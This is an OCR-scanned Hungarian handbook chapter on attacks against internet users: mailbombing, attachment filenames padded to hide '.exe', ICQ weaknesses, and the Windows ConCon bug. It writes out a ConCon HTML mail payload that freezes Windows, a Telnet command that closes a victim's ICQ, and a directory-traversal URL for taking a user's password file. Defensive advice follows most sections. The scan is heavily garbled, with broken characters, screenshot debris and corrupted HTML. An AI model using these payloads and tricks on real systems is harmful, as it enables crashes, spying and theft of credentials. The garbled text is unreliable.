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8 Tamadasok
az internet-felhasznalok ellen

Az internetet hasznalok szdma folyamatosan novekszik, egyre tijabb és ijabb
szolgaltatdsokat kindlnak a szdmukra, és a tartalmak is mind vonzébbakka val-
nak. A legtobbek életéb6l mar nem maradhat ki ez a médium. Az internet-
eléréssel azonban novekednek azok a veszélyek, amelyeknek a sajat PC-nk vagy
akar a halodzat is ki van téve. Ez a fejezet az internet-hasznalat veszélyeinek és
kockazatainak redlisabb felbecsiilésében probal segiteni. Kideriil, hogyan és
milyen véltozatokban hajtanak végre tdmadasokat felhaszndldk ellen. A kiilon-
boz6 tréjai- €s viruslehetGségekrdl itt mar nem beszéliink, ezeket az adott té-
manak szentelt fejezetek targyaljak. Itt elsésorban az e-mailek és az ICQ biz-
tonsagi kockazatairdl lesz szo.

8.1 E-mail-tamadasok

Az e-mailek a legfontosabb kommunikacids bazist jelentik az interneten.
Ebben a tényben azonban veszélyek is rejlenek, amelyek sok felhaszndléban
nem is tudatosulnak, ezt pedig a hackerek kihaszndljak a rendszerek megtama-
ddsdhoz.

8.1.1 Mailbombak - tulcsordul a postafiok

A mailbombdk nem jelentenek kozveden veszélyt az internet-haszndlok
adataira vagy sajat szamitogéprendszereikre, inkabb csak idegol6k és zavardk.
Ugyanis elég idSigényes - €s draga - lehet, ha az embernek hirtelen 5000 nem
kivant mail-t kell torolni a postafidkjabol.

A mailbombdzashoz a tdmaddk szamos programbdl valaszthatnak. Nehéz
felmérni, hogy a mailbomba-tdmaddsok mogott mennyire van stratégia. Egy
egyedi felhaszndlénak féleg az idejét rabolhatjdk a bombazdssal, akkor bosz-

" Zentrale i . e~MaaBom RAT W
[ - | SMTPSenver [emalaonat 3]
(gt Bonten, | (ool ko AnzahlderMaile: [iow
| ¥ AntiSchutzMaBnahme I — |
: | [ Status: (forbudeer ]

Brigfkopk—————— [

An: | gg@t-online. de Von: |anne@gms i . l
|
| Betreff: [Hin

Nachricht Datei/Stat | [

- Quel IP Manipulation (Proxy} — B THOTHE ih)

210 150 246 1¢ 1080 (s " { (.. GOGKG E ; x

E-mail-bombaz6 Arzytol

szanthatjak, ha tudjak, hogy egy fontos mail-re var. Ezt ugyanis, mivel a
mailbox a tamadds miatt tdltelit6dik, a szerver vissza fogja utasitani. Egy ilyen
tamaddas azonban akdr pénziigyileg is érinthet kisebb cégeket, amelyeknek fon-
tos kommunikdcids eszkozt jelent az internet. Képzeljiik csak el egy online bolt
uzemeltet§jének a helyzetét, aki nem kapja meg a megrendelés-maileket, mert
mailbomba-tdmadds dldozata lett.

A tamado anonim marad

Hogy a mailbomba-tdmadasok aldozatai nem tudnak kozvetlentil a tettesek-
re tdmadni, az a mailbombazok 4ltal gyakran hasznalt SMTP és Telnet
internetprotokollok (ldsd az Alapok fejezetet) felépitésén mulik. Ezek az adatat-
viteli protokollok az ASCII karakterkészletre korlatozzdk a tartalmukat, tehat
csak egyszer(i szOveget széllitanak. Ennek alapjain nem nyujtanak lehetdséget
arra, hogy a feladé adatait ellendrizni lehessen, st még arra is van méd, hogy
valaki hamis feladécimet adjon meg!

A mailbombazok sajitos képességei tehdt nemcsak abban nyilvanulnak meg,
hogy szinte egyidejlileg hallatlanul nagy szimu mail-t tudnak kiildeni a kivant
cimre, hanem abban is, hogy anonimek maradnak, vagy - valasztds szerint -
hamis feladécimet is meg tudnak adni.

Ennek természetesen az a kovetkezménye, hogy a cimzett postafiékja hamar
tullépi a maximalis kapacitdsat, és nem tud tobb mail-t fogadni. S bizony rop-
pant id6rablé ténykedés eltdvolitani a tobbnyire kiilonosebb tartalom nélkili
mail-ek szdzait.



igy mitkkédnek a mailbombak

Ahhoz, hogy a cimzetteknek tovabbitsdk a mail-eket, a mailbombdzo prog-
ramoknak tobb szerverrendszert is meg kell adni, amelyek, az akaratuk ellené-
re, postasként fognak miikodni. Ezt egyébként azért teszik, hogy felgyorsitsak
az akar 10 ezer mail tovabbitasat, és a munkat felosszak tobb kiilonbozd szerver
kozott. Ezéltal az egyes mail-szerverek tulterhelésének a kockézata is csokken.
Rdaadésul egy ilyen tranzakcid egyeden szerveren Keresztiil talan tul feltling
lenne, s a tovabbi mail-akcidkat zarolni lehetne errdl a szerverrél!

Az utébbi idében egyre tobb mailbomba-timadas Osszpontosit cégekre,
amelyek agressziv reklamjaikkal tlinnek fel az interneten.

Mailbomba-védelem

A német online szolgaltatok, mint az AOL vagy a GMX, felhasznaldi bizto-
san jol ismerik az el6bb emlitett mailrekldmot, az Uigynevezett spam-et. A szer-
vezett mailbomba-akcidk ezeknek a cégeknek a mail-postafidkjaira gyakran si-
keresnek bizonyultak! Ezért a legtobb mailszolgaltaté tigyfél-postafidkjain ki
lehet valasztani az anti-spam opciot. Ez megakadalyozza, hogy az elképeszts to-
megli mail egyaltalan tovabbitddjon a felhasznaléhoz.

8.1.2 Afajlmelléklet kitomése

Virusok és tréjaik kiildésénél a hackerek allandéan szembesiilnek azzal a
problémaval, hogy a nyilvinos ismeretterjesztés hatdsara sok felhasznalé mar
tudja, hogy az *.EXE, *.COM, *.BAT nevli mail-mellékletek veszélyesek lehet-
nek. Ezért gyakran egy triikkkh6z folyamodnak, hogy alcdzzadk a csatolt fajlt.

Artatlannak tiinik - egy
mail kipufferolt fajlmel-
léklete

A csatolt fajl, a merevlemezre mentve, a kévetkez8képpen néz ki:

Profil.doc exe

A hosszusaga miatt (amit az lires karakterek okoznak) az Outlook csak a
Profil.doc-ot mutatja, igy a felhasznalé feltételezheti, hogy csak egy hagyoma-
nyos Word-dokumentumrdl van szd, amit kozvetleniil is meg lehet nyitni az
Outlookbdl, anélkiil, hogy el6z6leg a merevlemezre kellene menteni.

Természetesen ebben az esetben azonnal elindul a megfeleld program, és
feltelepiil az esetleg hozzaf(izott virus vagy trdjai.

A csatolt fajlok elleni védelem

A fent bemutatott fajlmellékletet nyilvinvaléan nem a Word dokumentum
ikonja jeloli. Afelhaszndlo tehdt figyeljen a megfeleld ikonra!

Persze az elszant hacker az olyan programokkal, mint a Sub7 (lasd a tréjai-
akrél sz6l6 fejezetet), még Word-ikont is tud vardzsolni. Altaldnossagban érvé-
nyes, hogy el6szor mentsiik merevlemezre és ellendriztessiik virusvizsgaloval
az ismeretlen forrasbol szarmazd mail-ek csatolt fajljait. Ezen kiviil a Microsoft
a http://windowsupdate.microsoft.com/ cimen egy Outlook-frissitést is ki-
nal, amely még a mail-hez csatolt fajlok futtatdsa elétt figyelmeztetést kiild a
gyanus fajloknal.
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8.1.3 AConCon bug

A csatolt fajlok mellett a mail-éknek is lehet veszélyes tartalmuk. Egy példa
erre a hires Windows ConCon bug. Ez a Windows 95/98/98 SE Windows
kernelének egy hibajara épiil, amely a foglalt eszk6znevek meghivasira vonat-
kozik. A ConCon ,,nagy kék halalt" okoz, és djra kell inditani a PC-t. Ez veszé-
lyes lehet a nem mentett adatok miatt. Az is ismert, hogy ennek a hibdnak a
tobbszori fellépése kart okozhat a Windows kernelben, aminek az a kovetkez-
ménye, hogy ujra kell installdlni az operacids rendszert.

A ConCon mail-ékben terjed bedgyazott HTML-fijlokon keresztiil, ame-
lyek példdul igy nézhetnek ki:

</DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859- =

http-equiv=3DContent-Type ><BASE=20

href=3Dftle;//C: \Con \Con \>

<STYLE>

<

body, UL, OL, DIR, MENU, DIV, DT, DD, ADDRESS,
BLOCKQUOTE, PRE, BR, P, =

LI

c{olor: FF3300;

Sont-size: 20pt;

font-weight:  regular;

Jont-family: "Tempus Sans ITC", "Comic Sans MS", "Arial";=20

/
hi

c{olor: FF3300;

Sont-size: 30pt;

font-weight:  regular,

Jont-family: "Tempus Sans ITC", "Comic Sans MS", "Ariar=20

/
hi

c{olor: FF3300;

font-size: 24pt;

Sont-weight:  regular;

Sont-family: "Tempus Sans ITC", "Comic Sans MS", "Arial";
}

?

</STYLE>

<META content=3D"MSHTML 4.72.3110.7"!
name=3DGENERATOR>

</HEAD>

<BODYbgColor=3D#99ccffleftMargin=3D30topMargin=3D5>

<DIV>&nbsp;</DIV>

<CENTER><IMG align=3Dcenter alt=3D"Elfuthatsz,"
height=3D116=20

sre=3Dcid:005001bfc59138d8c900$23b02fd5@lol.telekabel.de=20

width=3D617></CENTER><BR><BR><BR>

<CENTER>

<HI>Elfuthatsz, de el nem menekiilhetsz=20
el6lem!<TOPMARGIN=3D1  50></HI1Y6></CENTER><BR><CENTER>

<IMG src="\C: \Con \Con.gif>

<P>Uzenetet ide beilleszteni.</P></CENTER></BODY></HTML>
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Ezt a mailt elég kijelolni €s belenézni, hogy a szdmitégép lefagyjon, és ujra
kelljen inditani.

Megjegyzés: A mail-tdmadasoktodl eltekintve a szamitégép Inditopult map-
péjaba is eldszeretettel masolnak ConCon-fajlt. Igy a rendszer nem tud el-
indulni, minden alkalommal elindul ez a fajl, és a gép lefagy.

Védelem a ConCon ellen

A http://www.microsoft.com/downloads/release.asp?ReleaseID=193 89
cimen a Microsofttol letolthetS egy patch a bug kijavitdsahoz.

8.2 ICQ - praktikus és veszélyes

Az I seek you" egy kommunikécids eszkdz, amely, miutdn nagyon kényel-
mes és felhasznalobarat, az IRC (InternetRelayChat) mellett az internet egyik
legtobbet haszndlt chatrendszerévé fejlddott. A kliense a legkiilonbozdébb plat-
formokon megtaldlhaté. A leggyakrabban hasznalt Windows-kliens mellett
Linux alatt is tobb kliens Iétezik, s6t MacOS-hoz és BeOS-hoz is van ilyen.

Az ICQ minden felhaszndldja egy sajat szamot kap, amikor bejelentkezik a
kommunikéacioba. Ez a szam a Universal Identifier Number, vagy egyszeriien a
UIN. Tulajdonképpen a cimiinkhoz vagy az IP-nkhez hasonlithatd, mert a fel-
haszndlékat a UIN-on keresztiil tudjak mas felhasznalok megtalalni és azonosi-
tani. Manapsdg mar majdnem 150 millié szam létezik. Ha egy masik felhaszna-
16t kerestink, egyszertien a Find User alatt megadjuk a nevét, az e-mail cimét
vagy a UIN-t, és kapcsolatba Iéphetiink vele.

A kapcsolati listara minden felhaszndldt bejegyezhetiink, akikkel rendszere-
sen szeretnénk kapcsolatot tartani. A statuszon lehet latni, hogy ki van online-
ban, ofiline-ban, vagy ki akarja, hogy pillanatnyilag békén hagyjak.

Az ICQ-kliensen egy session kOzben megvaltoztathatjuk a sajat statuszun-
kat, a valaszték az Online, az Offline, az Away ¢és az Invisible, hogy csak a fonto-
sabbakra szoritkozzunk.

1. Windows ICQ Client v. 2000b
2. ICQ-pager-értesités egy Sub7 szerveren
3. ICQ message-window

Az ICQ kiszolgaloelemei  EEEEREETMIN = Lalcixi
és egy Sub7 szerver [ E§ % — g
-lizenet 151 hanced . sl W
,,,,,,,,, ijMm s
- P . [Sender IF 62 15816.210
oAl liSubject Sub7Germany_oni
i lSamlrmm port=4021-{ip= 62158752Y0]-{\aoum 09022001}
Hinto=L 2 1Hp P
KD Nechbreoker@hone e !
' ! mayzu t Mew I i oo i iy _!

ICG. Binvishe
Erter Search Keywor GOI|® |

8.4.1 Az ICQ - biztonsagi kockazat?

Az utébbi idében elszaporodtak azok a vélemények, amelyek biztonsagi
kockézatként jelolik meg az ICQ-t, és a kérdésre, hogy ,,Van-e 1CQ-d?" egyre
gyakrabban kapjuk azt a valaszt, hogy ,,Nem, mert tul veszélyes". Az ICQ leg-
nagyobb veszélye tulajdonképpen abban rejlik, hogy a tdmaddnak informacio-
kat szolgéltat az aldozatrél. Ezek kozil is egyértelmtien az IP a legfontosabb.
Az IP kiadésa ugyan kiilonbozé beallitdsokkal megakadalyozhat6 (a 99b verzid-
tél egy masikat is lehet megtévesztésként mutatni), de az interneten egyre tobb
program talalhatd, amelyek kikerulik ezeket a bedllitdsokat, és a tAmaddknak
szallitjdk a megfelel§ informdciokat. Ezért ez sem jelent biztos védelmet.

Réaddsul az ICQ-t ért kiilonbozd remote-buffer-overflow-k és DoS-
tamadasok is ismertek. Ezeket a halordl szarmazo eszkozokkel lehet végrehaj-
tani. Azok a tdimadasok is kedveltek, amelyeknél a tdmado tizenetek sokasagaval
bombdzza az dldozatot (ldsd ebben a fejezetben, a Mailbombak alatt, hogy ez
mit jelent). Az ICQ biztonsagi kockdzata azonban sokkal inkdbb annak a rend-
szernek a biztonsagossdgan mulik, amelyen a kliens fut, mint magin az 1CQ-
networkon. A felhasznaldknak észnél kell lenniiik, hogy kinek adnak engedélyt
és kinek nem a kontaktlistajukhoz.



8.4.2 Milyen biztonsagi rések vannak?

Korrupt linkek

A kiilonb6zd linkek megnyitasa az ICQ-felhasznalonal aktivdlhat egy fajlt,
példaul egy trodjait vagy egy virust. Bizonyos parancsokkal 0sszefiiggésben
azonban az egész merevlemezt is formattalhatjak. Egy ilyen tdmadast hajtottak
végre példaul tesztcélokbol egy Windows 98 és egy 2000 platform ellen”. A
link igy nézhet ki:

http://www.yahoo.com/link.asp?
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Védelem

Ez ellen Ugy lehet védekezni, hogy az |CQ-klienslinket tgy allitjuk be, hogy
azonnal eldobja az ismeretlen linkeket, amelyeket nektink kildenek.

Fajinevek kittmése az ICQ 99 alatt

Ahogy mailben, tigy ICQ-val islehet f&jlokat kiildeni és fogadni. Esitt is mii-
kodik az ott mar leirt trikk: tegytk fel, hogy a tamadé kiild a usernek egy fajlt,
egy trojait vagy egy virust stb. Ha elkiildi ezt a fajlt, a fogadondl megjelenik egy
popup ablak a fajl megnevezésével és mas, itt nem lényeges informaciokkal.

A trikk a kovetkezd: a tdmadd kitomi a def.jpg.exe fajl nevét egy sor lires ka-
rakterrel, pl. def.jpg .exe

Az exe fajlbol semmit
sem latni

Name: [defipg Size: [115Kb
-~ Response Action - Accept - |
| B | Deu | swets. | Swm ||

More Functions } Hesd Next




fgy a popup ablakban mar nincs elég hely, és a tulajdonképpeni végzidés, az
.exe mar nem l4thato. Az .exe végz&dés helyett csak a -jpg-ef 1atjuk. A felhasznd-
16 azt gondolja, hogy tényleg csak egy képet akarnak kiildeni neki. Ha a timado
példaul egy trdjait vagy egy virust hasznalt, akkor a felhasznalébdl, ha elfogad-
ja és végrehajtja a f4jlt, konnyen aldozat lesz.

Védelem

Ez a bug az ICQ 2000-ben mar nincs benne. Ezért a legjobb védekezés az
aktudlis verzidra torténd frissites.

User hozzafiizése engedély nélkiil

Az 1CQ jovahagyasa idénként elég terhes a tdmaddknak, ha egy dldozatot
akarnak felvenni a kontaktlistdjukra, anélkiil, hogy az dldozat ezt észrevenné. Az
interneten ehhez egész sor tool és crack van, amelyek lehetGvé teszik a felhasz-
nalo felvételét a kapcsolati listara anélkiil, hogy 6 barmit is észrevenne ebbdl.

Rendesen ugyanis kap egy értesitést, amely kozli, hogy felkertilt egy listdra.
Ezt a problémat elkertilendd, a tdmaddnak a kovetkez6 lehetéségei vannak.

Letolt maganak egy ICQ-cracket az internetrdl, inaktivalja az ICQ-t,
megpatcheli a crackkel, és megprobal hozzafiizni egy felhasznalét. Ha ez sike-
rult, a Find User-rel megkeresi azt az UIN-t, amelyet hozza akar f{izni,. Amint az
ICQ a kérdésre pozitiv vdlaszt ad, egyetlen kattintdssal kijeloli a személy nevét.

Ezutdn meg kell szakitani a kapcsolatot a hdléval. Ha ezt elintézte, a Next-re
kattint. Az ICQ hibajelzéseket ad, amelyek azt mondjak, hogy az ICQ nem tud
iizeneteket kiildeni. Mire minden hibaiizenetet tudomasul vettek, a tdmadé
mar ott van a kivant személy kapcsolati listdjan, raaddsul anélkiil, hogy az errdl
barmit is tudna.

Most teljes nyugalomban megfigyelheti az aldozatdt, vagy ha akarja, akar
meg is tdmadhatja.

Védekezés

Az ICQ rendszeresen dolgozik chat-rendszere biztonsigan, és most is meg-
jegyzendd, hogy a rendszeres frissités legalabb rovid tavon védelmet kindl.

Itt az IP!

QUIN >IP @all lby PhilippP}

[You icq Pam
e \ngramne\lcﬂ

[UN) 55677881 IP)217.82.17240 ; = |

Az ICQ lefagyasztasa

; ICQ alatt megmutathatjuk mds felhaszndléknak, hogy miikodte-
tunk -e¢ webszervert a rendszeriinkon. Ezt tobbnyire a fenti ikonra torténd kat-
tintassal vagy a http://ipdesusers. linkkel lehet elérmni.

Egy ilyen jel a hackernek égbdl pottyant ajandék, amit gyakran ki is hasznal,
hogy megtdmadja ezeket a rendszereket.

Az igy jelzett webszerver ugyanis behatoldsi pontot nyujthat a tdmadoénak.
Egy erre a célra szivesen haszndlt eszkdz a UIN-IP. Ez az ICQ-path megadésa
utan a kontaktlistdra bejegyzett userek minden IP-jét visszaadja.

Vagy a tamadé a partnerrel vald beszélgetés kozben egyszeriien beirja a pa-
rancssorba: netstat -n, hogy tobbet megtudjon a chat-partnerérdl.

Ha a hackernek csak az dldozat IP-je van meg, a parancssorba a kovetkezét irja:

Telnet 217.82.172.40:80, ahol a 217.82.172.40-et a megtalalt IP-re cseréli.

Ezutdn egyszerlien Quir-et ir a Telnet kliensbe. Ezaltal az dldozat 1CQ-ja
bezdrodik, és egy id§ mulva nem jelenik meg online-ként.

Ez egy jo példa volt az ICQ kliens még fenndll6 bizonytalansdgaira.

Megnézni egy felhasznald fajljait

Itt megintcsak elSfeltétel, hogy a felhasznald egy webszervert telepitett, és a
hacker ismerje az IP-jét.



Most példaul beirhatna a bongészdjébe:
http.// 217.82.172.40 /.html/.. .. . user.pwi,

ahol a 217.82.172.40 az aldozat IP cime. A pontok a konyvtarakat jelolik, ame-
lyekre valtani kell, hogy a C:\-hez jusson. Most a timado a szamitogépére tud-
ja menteni a kivalasztott fajlokat.

Természetesen ez csak egy példa, mert a timadd nem fogja ismerni a pontos
konyvtarstruktirat. A legtobb esetben azonban a Windows szabvany konyvtar-
strukturaja fordul elS, igy a jelszavak elérésére is van lehetGség.

Védekezés

Ha webszervert kell futtatnunk, ne hasznaljuk ezen a gépen az 1CQ-t.



